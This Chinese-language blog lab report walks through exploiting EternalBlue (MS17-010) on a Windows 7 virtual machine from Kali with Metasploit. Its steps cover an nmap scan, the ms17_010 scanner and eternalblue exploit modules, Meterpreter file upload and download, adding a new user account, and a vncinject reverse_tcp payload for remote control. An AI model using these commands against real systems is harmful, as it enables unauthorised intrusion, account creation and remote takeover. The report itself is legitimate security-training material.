首页 > 其他分享 >Meterpreter框架使用实验

Meterpreter框架使用实验

时间:2023-11-26 11:22:35浏览次数:24  
标签:框架 命令 虚拟机 010 漏洞 实验 使用 靶机 Meterpreter

 

一. 实验目的与配置

  • 了解漏洞复现的基本流程和方法
  • 熟悉永恒之蓝的漏洞原理及其利用
  • 熟悉Metasploit框架的使用及其相关的命令

 

二. 实验环境

Win7虚拟机一台,kali虚拟机一台

 

三. 实验工具

VMWare、NMap、Metasploit

 

四. 实验步骤

搭建测试环境,将kali作为攻击主机、win7_x64 作为靶机

  • 关闭win7防火墙,查看两台虚拟机的地址(注意在同一网段)

Kali虚拟机的地址为:

Win7 虚拟机的地址为:

  • 测试两台虚拟机是否能互相ping通

  • 打开kali机中的Metaploit

左上角第一个图标-> all apalications -> Metasploit

  • 打开kali的一个Terminal,使用Nmap对靶机进行扫描
  • 猜测主机的操作系统类型
  • 上网查找上述系统可能出现的漏洞,发现在win7系统中出现永恒之蓝漏洞(MS17_010)。查找资料后发现永恒之蓝漏洞主要利用了445端口,通过上面的扫描可以发现445端口开启。
  • 查询漏洞相关信息 (search ms17-010)

在Metasploit 中查询漏洞相关信息

  • 对漏洞进行分析,判断端口445能否被入侵使用命令:use auxiliary/scanner/smb/smb_ms17_010 show options

设置被攻击的靶机IP,使用run命令进行测试 命令: set RHOSTS IP

出现回显,说明系统存在MS17_010漏洞,可以使用MS17_010进行入侵

使用攻击模块进行攻击命令:  use exploit/windows/smb/ms17_010_eternalblue

使用show options 查看需要配置哪些选项

  • 可以看到靶机的IP地址还没有配置,使用set命令进行配置,exploit命令进行攻击
  • 攻击完成,出现meterpreter提示符。此时我们成功拿到win7靶机的权限。
  • 使用screenshot 命令对靶机进行截图,并查看截图的文件,整理在实验报告中
  • 向靶机上传一个文件

1、首先在kali上编写一个文件,保存在桌面上

2、使用upload命令进行上传操作

注意文件被放在C:\windows\system32中。

使用cat查看被上传的文件的内容。

  • 使用download命令下载文件

使用ls查看靶机C:\windows\system32目录下的文件,随便下载一个文件,可打开文件进行查看

  • 可以查看靶机对应的网关,路由信息,为后续的攻击做准备
  • 输入sysinfo命令可以查看对应的系统信息
  • 拿到shell,创建新用户信息。

使用net user 查看当前的用户信息,使用如图的命令添加新用户到用户组

  • 远程连接win7

1、使用exit 退出shell,使用background命令回到msf界面

  • 查看set payload参数,按两下TAB键进行回车
  • 输入命令set payload windows/x64/vncinject/reverse_tcp

set viewonly no

exploit

  • 成功获取控制权

五. 实验感想(总结、对实验的讨论、不足之处......)

【总结参考】

  • 通过这次实验,让我掌握了熟悉Metasploit框架的使用及其相关的命令

 

 

 

【讨论参考】

MS17_010的原理是windows7的系统里面的一个漏洞,这次漏洞攻击我主要使用了metasploit。

 

标签:框架,命令,虚拟机,010,漏洞,实验,使用,靶机,Meterpreter
From: https://www.cnblogs.com/cll-wlaq/p/17856654.html

相关文章

  • .net core下优秀的日志框架使用解析,附源代码
    在.NETCore中,日志是一个非常重要的组件,它可以帮助我们记录应用程序的运行情况,以便在出现问题时进行排查。在本文中,我们将介绍五个优秀的.NETCore日志框架,它们分别是Serilog、NLog、Log4Net、Microsoft.Extensions.Logging和Loupe。我们将为每个框架提供使用方法及步骤,并......
  • 实验10:组合模式
    实验10:组合模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解组合模式的动机,掌握该模式的结构;2、能够利用组合模式解决实际问题。 [实验任务一]:组合模式用透明组合模式实现教材中的“文件夹浏览”这个例子。实验要求:1. 类图如下  2. 源代码以及......
  • 实验9:桥接模式
    实验9:桥接模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解桥接模式的动机,掌握该模式的结构;2、能够利用桥接模式解决实际问题。 [实验任务一]:两个维度的桥接模式用桥接模式实现在路上开车这个问题,其中,车可以是car或bus,路可以是水泥路或沥青路。实验要求......
  • 实验6:原型模式
    实验6:原型模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解原型模式的动机,掌握该模式的结构;2、能够利用原型模式解决实际问题。 [实验任务一]:向量的原型用C++完成数学中向量的封装,其中,用指针和动态申请支持向量长度的改变,使用浅克隆和深克隆复制向量类,比......
  • 实验7:单例模式
    实验7:单例模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解单例模式的动机,掌握该模式的结构;2、能够利用单列模式解决实际问题。 [实验任务一]:学号的单一仿照课堂的身份证的例子,实现每个同学仅有一个学号这一问题。实验要求:1. 画出对应的类图;  ......
  • 实验8:适配器模式
    实验8:适配器模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解适配器模式的动机,掌握该模式的结构;2、能够利用适配器模式解决实际问题。 [实验任务一]:双向适配器实现一个双向适配器,使得猫可以学狗叫,狗可以学猫抓老鼠。实验要求:1. 对应的类图如下;  ......
  • 编译原理实验
       掌握了LR法进行语法分析的原理,掌握了语法分析器的设计与调试......
  • oracle数据库实验
       进行oracle数据库的学习,掌握数据的插入(INSERT)、修改(UPDATE)和删除(DELETE)操作。 掌握不同类型的数据查询(SELECT)操作。......
  • Nmap端口扫描实验
    一.实验目的了解网络扫描的基本概念和原理掌握市面上主流扫描工具Nmap的使用方法注意:本实验在虚拟机上面进行,仅用作交流学习,不可用于破坏他人计算机等一切非法活动,否则后果自负!二.实验环境Kali、windows7 三.实验工具Nmap扫描工具VMware上安装的攻击主机kali一台,将......
  • 设计模式实验19:中介者模式
    实验19:中介者模式本次实验属于模仿型实验,通过本次实验学生将掌握以下内容:1、理解中介者模式的动机,掌握该模式的结构;2、能够利用中介者模式解决实际问题。    [实验任务一]:虚拟聊天室在“虚拟聊天室”实例中增加一个新的具体聊天室类和一个新的具体会员类,要......